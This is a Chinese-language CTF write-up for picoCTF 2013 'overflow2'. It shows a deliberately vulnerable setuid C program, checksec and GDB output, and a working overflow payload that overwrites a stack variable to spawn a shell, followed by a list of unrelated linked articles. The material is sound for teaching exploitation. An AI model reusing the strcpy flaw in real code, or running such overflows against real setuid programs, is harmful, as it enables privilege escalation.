栈溢出入门系列入门教程二

overflow2.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include "dump_stack.h"void vuln(int win, char *str) {char buf[64];strcpy(buf, str);dump_stack((void **) buf, 23, (void **) &win);printf("win = %d\n", win);if (win == 1) {execl("/bin/sh", "sh", NULL);} else {printf("Sorry, you lose.\n");}exit(0);
}int main(int argc, char **argv) {if (argc != 2) {printf("Usage: stack_overwrite [str]\n");return 1;}uid_t euid = geteuid();setresuid(euid, euid, euid);vuln(0, argv[1]);return 0;
}

dump_stack:打印当前cpu的堆栈.

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : disabled
PIE       : disabled
RELRO     : Partial

由此可见,该程序相当脆弱.只要我们溢出数据,使win为1即可.
两种方法:
方法一:

gdb --args ./overflow2 $(python -c "print 'A'*64+'B'*4")

gdb调试,由于源代码中有if,于是我们进入vuln函数,找到了if对应的汇编代码,如下:

0x8048666 <vuln+62>:    mov    DWORD PTR [esp],eax
0x8048669 <vuln+65>:    call   0x80483f0 <printf@plt>
0x804866e <vuln+70>:    mov    eax,DWORD PTR [ebp+0x8]
**0x8048671 <vuln+73>:  cmp    eax,0x1**
0x8048674 <vuln+76>:    jne    0x8048694 <vuln+108>
0x8048676 <vuln+78>:    mov    DWORD PTR [esp+0x8],0x0

可见这次是拿地址为ebp+0x8的内容与1相比较.同本系列第一篇一样,在cmp出下断点,查看栈中的内容.

gdb-peda$ x/90x 0xffffce20
0xffffce20: 0x410x410x410x410x410x410x410x41
0xffffce28: 0x410x410x410x410x410x410x410x41
0xffffce30: 0x410x410x410x410x410x410x410x41
0xffffce38: 0x410x410x410x410x410x410x410x41
0xffffce40: 0x410x410x410x410x410x410x410x41
0xffffce48: 0x410x410x410x410x410x410x410x41
0xffffce50: 0x410x410x410x410x410x410x410x41
0xffffce58: 0x410x410x410x410x410x410x410x41
0xffffce60: 0x420x420x420x420x000xf10xea0xf7
0xffffce68: 0x980xce0xff0xff0x0b0x870x040x08
0xffffce70: 0x000x000x000x000x650xd10xff0xff
0xffffce78: 0xe80x03

对应截图:

ebp+0x8=0xffffce70,0xffffce70与char数组相差0x50(0xffffce70-0xffffce20).于是乎构造出

./overflow2 $(python -c "print 'A'*80+'\x01\x00\x00\x00'")

结果图:

其实前本系列前两篇文章思路差不多.
方法二:思路就是写一个自动化脚本,来循环判断是否溢出成功.实现还是有点困难,以后再写.
注:由于操作系统的原因,一些地址可能会有不同,在此一定要以你的电脑上的地址为准.附带相关文件地址:文件地址.欢迎评论!!!

pico-ctf-2013 overflow-2相关推荐

  1. xman day03 pwn海无涯,回头是岸

    PWN 基础 必备基础 C,python   计算机组成与原理 汇编语言 linux操作系统   ida.GDB 特别的 got/plt  elf文件结构   函数调用的栈结构    堆(不同大小的堆 ...

  2. 如何开始你的CTF比赛之旅

    在过去的两个星期里,我已经在DEFCON 22 CTF里检测出了两个不同的问题:"shitsco"和"nonameyet".感谢所有的意见和评论,我遇到的最常见 ...

  3. CTF-数据分析(二)

    声明:以下CTF题均来自网上收集,在这里主要是给新手们涨涨见识,仅供参考而已.需要题目数据包的请私信或在下方留言.                         3.数据包分析-Forensics- ...

  4. CTF 之 Forensics 取证

    这篇文章列出了CTF中Forensics(取证)类型题的技巧和窍门,展示了CTF中常用工具的使用场景和使用方法. 文件格式(File Formats) 十六进制文件头和对应ASCII码 通过查看文件头 ...

  5. 2013年工作中遇到的20个问题:181-200

    每个人在工作中遇到的问题,很多都是类似的.了解别人遇到的问题,自己遇到的时候就可以很快地解决它. 很多人不屑于这种"细节问题",但我想说,掌握这些细节问题一次可能只能帮你节省1s的 ...

  6. 基于用户投票的排名算法(三):Stack Overflow

    作者: 阮一峰 日期: 2012年3月11日 上一篇文章,我介绍了Reddit的排名算法. 它的特点是,用户可以投赞成票,也可以投反对票.也就是说,除了时间因素以外,只要考虑两个变量就够了. 但是,还 ...

  7. 亲爱的,热爱的~CTF

    亲爱的,热爱的~CTF 作者:炸炸呼呼 来源:微信公众号:疼疼痒痒小家园 最近真的是被电视剧<亲爱的,热爱的>刷屏,奔着给大半个娱乐圈戴了绿帽子的"现男友"和" ...

  8. Stack Overflow 2016 最新架构探秘

    原文:http://nickcraver.com/blog/2016/02/17/stack-overflow-the-architecture-2016-edition/ 转载:http://www ...

  9. 微软2013年校园实习生招聘笔试题及答案

    原文: http://www.wangkaimin.com/2013/04/07/%e5%be%ae%e8%bd%af2013%e5%b9%b4%e6%a0%a1%e5%9b%ad%e5%ae%9e% ...

  10. Stack Overflow 2016年对50,000名开发人员进行的调查得出的见解

    Today, Stack Overflow released the results of their 2016 survey of more than 50,000 developers. 今天,S ...

最新文章

  1. 整体思考自动化测试发展和价值回报
  2. 连接器篇(二) 高频系列
  3. SAP Spartacus路由参数的默认配置
  4. 自适应滤波实例之系统辨识
  5. Dart 2-Day
  6. 【c语言】指针数组和数组指针-解释和用法
  7. SpringBoot整合kafka案例
  8. 小灰的算法之旅python篇pdf_漫画算法 小灰的算法之旅 Python篇
  9. arping指令linux,arping
  10. 问卷:城市名 转换成 城市线:一线、新一线、二三四五线
  11. Java实现浏览器下载文件
  12. 64位win7旗舰版java_win7 64位旗舰版下载_lenovo windows7 64位旗舰版笔记本专用系统_软件侠下载站...
  13. linux 串口/dev/ttyS0测试(UART0)
  14. 解析范式(1NF-4NF)
  15. 这年头视频编辑软件也开始内卷了,功能这么强居然免费
  16. 微观经济学案例分析(四)
  17. 极路由b70路由器虚拟服务器,极路由B70刷固件详细步骤说明(整合其它坛友经验)-少走弯路,造福坛友...
  18. MacOS打印自定义尺寸配置教程
  19. 缺陷轰炸和beta测试详解
  20. 协处理器CP15介绍—MCR/MRC指令(6)

热门文章

  1. 机器人时代 - 电子书下载(高清版PDF格式+EPUB格式)
  2. 很简单的html+js,程序员的浪漫,可以让你小女朋友点开哈。哈哈哈
  3. 暴力解决Centos6YUM下Loaded plugins: fastestmirror Determining fastest mirror和Could not retrieve mirro
  4. 使用turtle库,绘制一个正方形。
  5. 矩阵连乘 动态规划_如何构建移动营销时代的“动态矩阵”?
  6. 解读7种水质对咖啡口感的影响
  7. 耳机串音问题解决(crosstalk)
  8. 如何在计算机里查找最新文件,在电脑上怎么查找目标文件
  9. minio对象存储原理_使用MinIO在本地运行S3对象存储
  10. 酷狗免费下载歌曲(网易云同样适用)